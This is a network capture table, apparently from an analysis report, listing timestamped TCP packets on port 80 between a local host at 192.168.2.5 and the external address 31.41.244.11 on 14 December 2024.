Dec 14, 2024 14:56:17.743925095 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.743946075 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.745065928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.745120049 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.745206118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.746210098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.746259928 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.746316910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.746361971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.747529984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.747591019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.747639894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.748639107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.748771906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.748820066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.749835968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.749957085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.750000954 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.751044035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.751089096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.751142979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.752293110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.752341986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.881191969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.881253004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.881448984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.881505966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.881556988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.881608009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.882714987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.882750988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.882751942 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.882751942 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.882786989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.883929014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.883977890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.884021044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.884063959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.885111094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.885159969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.885202885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.885248899 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.886312008 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.886358023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.886401892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.886445045 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.887492895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.887557030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.887612104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.888674974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.888803959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.888854980 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.889902115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.889950991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.889981985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.890559912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.891083002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.891139984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.891180038 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.892270088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.892321110 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.892370939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.892421961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.893491030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.893542051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.893644094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.893687010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.894777060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.894807100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.894840002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.894861937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.895886898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.895937920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.895994902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.896039009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.897094011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.897139072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.897181034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.897228003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.898272038 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.898319006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.898361921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.898401976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.899518967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.899605036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.899652958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.900662899 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.900772095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.900824070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.901864052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.901913881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.901973009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.902079105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.903089046 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.903194904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.903248072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.904278040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.904330015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.904381990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.905461073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.905508041 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.905575037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.906634092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.906670094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.906752110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.906799078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.907881021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.907984018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.908029079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.909147024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.909281969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.909333944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.910232067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.910348892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.910408974 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.911448002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.911557913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.911621094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.912693977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.912744999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.912795067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.913077116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.913856030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.913903952 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.913949966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.913992882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.915030003 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.915091038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.915142059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.916135073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.916241884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.916327000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.916359901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.916393042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.917445898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.917625904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.917676926 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.918963909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.918979883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.919024944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.919059992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.919862986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.919909000 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.919953108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.919997931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.921040058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.921084881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.921128988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.921170950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.922215939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.922348976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.922401905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.923417091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.923527002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.923577070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.924611092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.924660921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.924729109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.925261021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.925832033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.925951004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.926000118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.927011967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.927133083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.927180052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.928220034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.928263903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.928313971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.928775072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.929431915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.929480076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.929541111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.929585934 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.930608988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.930655003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.930705070 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.930742979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.931824923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.931871891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.931925058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.933022022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.933070898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.933123112 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.934204102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.934252024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.934330940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.934376001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.935429096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.935544014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.935596943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.936642885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.936734915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.936781883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.937813044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.937871933 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.937916994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.938014984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.939100981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.939157963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.939172029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.939214945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.940198898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.940257072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.940300941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.941397905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.941446066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.941513062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.942589998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.942637920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.942712069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.942754984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.943806887 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.943859100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.073365927 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.073426008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.073447943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.073497057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.073952913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.074016094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.074059963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.074105978 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.075117111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.075215101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.075269938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.076348066 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.076428890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.076488972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.077492952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.077622890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.077672005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.078794956 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.078850031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.078869104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.078917027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.080044985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.080091953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.080127001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.080224037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.081084967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.081171036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.081202030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.081264973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.082324982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.082386971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.082420111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.082480907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.083493948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.083605051 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.083620071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.083650112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.084731102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.084814072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.084815979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.084862947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.085900068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.085954905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.086121082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.086173058 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.087068081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.087177992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.087236881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.088258982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.088376045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.088429928 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.089473009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.089531898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.089553118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.090090036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.090614080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.090667963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.090673923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.090714931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.091840029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.091897011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.091941118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.091990948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.093014956 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.093072891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.093116999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.093159914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.094257116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.094306946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.094378948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.094444036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.095416069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.095464945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.095530987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.095573902 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.096605062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.096659899 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.096705914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.097162008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.097800016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.097851038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.097901106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.097945929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.098992109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.099049091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.099116087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.100222111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.100272894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.100306988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.100485086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.101476908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.101537943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.101569891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.101615906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.102612019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.102672100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.102776051 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.102858067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.103816032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.103874922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.103878975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.103920937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.105119944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.105175972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.105237961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.105283022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.106167078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.106215000 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.106265068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.106313944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.107336998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.107451916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.107505083 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.108522892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.108664036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.108715057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.109750986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.109801054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.109869957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.110944986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.110996008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.111032009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.112117052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.112170935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.112262011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.112312078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.113313913 CET	80	49846	31.41.244.11	192.168.2.5
